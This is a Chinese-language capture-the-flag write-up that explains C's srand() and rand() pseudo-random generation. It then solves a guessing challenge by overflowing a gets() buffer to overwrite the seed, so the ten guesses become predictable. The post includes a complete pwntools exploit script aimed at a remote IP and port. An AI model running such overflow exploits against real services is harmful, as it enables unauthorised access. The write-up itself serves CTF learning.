srand()函数和rand()函数

引用

解这个题首先我们要了解下srand()和rand()

要计算机产生一个随机数不像扔色子一样,计算机的每一步操作,就是执行一堆代码,这些代码是事先安排好的,所以计算机的产生行为是不具有随机性和预测性的(当然这里说的是现阶段的计算机体系,到未来的计算机的体系,未知),所以计算机产生的随机数都不是真正意义上的随机数,只是伪随机数,他以一个真值(也称为种子)作为初始条件,然后用一定的算法不停迭代产生随机数。库函数中系统提供了两个函数用于产生随机数:srand()和rand()
rand函数:rand的内部是用线性同余法做的,不是真的随机数,只不过因为其周期特别长,所以在一定范围内可以看成是随机的,rand()会返回一随机值,范围在0到RAND_MAX间,在调用此函数产生随机数前,必须利用srand()设好随机数种子,若没有设随机数种子,rand()在调用时会自动设随机数种子为1。
返回值:返回0到RAND_MAX之间的整数值,RAND_MAX的范围最少在32767之间(int),即双字节(16位)。若unsigned int双字节是65535,且0-RAND_MAX每个数字被选中的随机率是相同的。 rand()产生的是假随机数,每次执行时是相同的,若要不同以不同的值来初始化,初始化的函数就是srand()
srand函数:and()用来设置rand()产生随机数时的随机数种子,参数seed必须是整数,通常可以用time(0)的返回值作为seed.如果每次seed都设置相同的值,rand()产生的随机数值每次都一样。
srand(unsigned)time(NULL))使用系统定时/计数器的值作为随机种子每个种子对应一组根据算法预先生成的随机数,所以在相同平台的环境下,不同时间产生的随机数是不同的,相应的若将srand(unsigned)tima(NULL)改为任一常量,则无论何时运行,运行多少次得到的随机数都是一组特定的序列,所以srand生成的随机数是伪随机数。但是,所谓的“伪随机数”指的并不是假的随机数,其实绝对的对技术只是一种假想状态的随机数,计算机只能生成相对的随机数,而这些随机数既是随机的又是有规律的,一部分遵守一定规律,一部分则不遵守任何规律,总结来说就是:计算机产生伪随机数而不是绝对的随机数
在每次产生随机序列前,先指定不同的种子,这样计算出来的随机序列就不完全相同了,而使用同种子相同的数调用rand()会导致相同的随机数序列被生成

总结

总结一下上面的文本:srand()函数为rand()函数指定随机数种子,如果没有srand()函数,那么rand()函数的默认随机数种子就是1,那么为什么称rand()生成的数是伪随机数呢?这是因为,如果每次随机数种子一样,那么每次生成的随机数都是一样的,比如srand(1) ,那么每次的rand()出来的数字都是一样的,所以为了随机性得到提高,我们一般是用时间函数来作为随机数种子,因为时间时刻在变化,所以种子也在变化,那么随机性就会大大提高。

解题

题目分析

我们拿到附件后,先运行一下看看程序是什么功能

大致就是让我们输入名字,然后让我们猜随机数
我们看看程序开启了哪些保护

看到保护之后瞬间不想做了:-( 金丝雀 nx 地址随机化 神马的都开了 (话说我好像在新手区)
不管了,IDA分析一下 先看main函数的代码 发现了几个有意思的点

首先是gets输入名字 输入的字符串存到v9变量里面 那么漏洞应该就在这里没错了
接下来设置了一个随机数种子,当然,这个随机数种子的随机性肯定是没问题的
接下来是个for循环,让我们猜10个随机数,如果失败就退出程序,如果成功就运行for循环外面的那个函数
我们跟进去那个函数看看

奈斯,直接cat flag,所以我们的任务就是来猜数字,不过是随机数,我们肯定即使是欧皇附体也是猜不到的,所以考虑gets那里溢出来覆盖随机数种子seed[0],让种子变成一个常数,那么每次的随机数都一样,自然也就可预测了,我们查看一下偏移量

然后就直接写exp

编写exp

这个exp比之前的要略微复杂一些,经过查资料发现ctypes这个包很奈斯,里面的cdll.LoadLibrary()函数可以在在脚本中加载动态库,同时又能调用库中的函数,那么我们直接可以通过调用对象的srand()方法来确定种子,那我们就不用再编写c语言程序来确定随机数了,比较方便哈
通过命令ldd来确定库的路径

ldd filename

这样就得到了库位置(忘记截图了,懒的再回虚拟机截了)
然后直接写exp

from pwn import *
import ctypes

ip = '124.126.19.106'
port = '49021'
r = remote(ip,port)

elf = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
elf.srand(1) #可写可不写,因为默认就是1
offset = 0x20

payload = 'A' * offset + p64(1)
r.recvuntil('Your name:')
r.sendline(payload)
for i in range(0,10):
        number = str(elf.rand()%6 + 1)    #这个地方比较坑,因为r.sendline()的参数是字符类型,所以我们得把数值类型转成字符类型
        r.recvuntil('Please input your guess number:')
        r.sendline(number)
r.interactive()

然后就是flag辣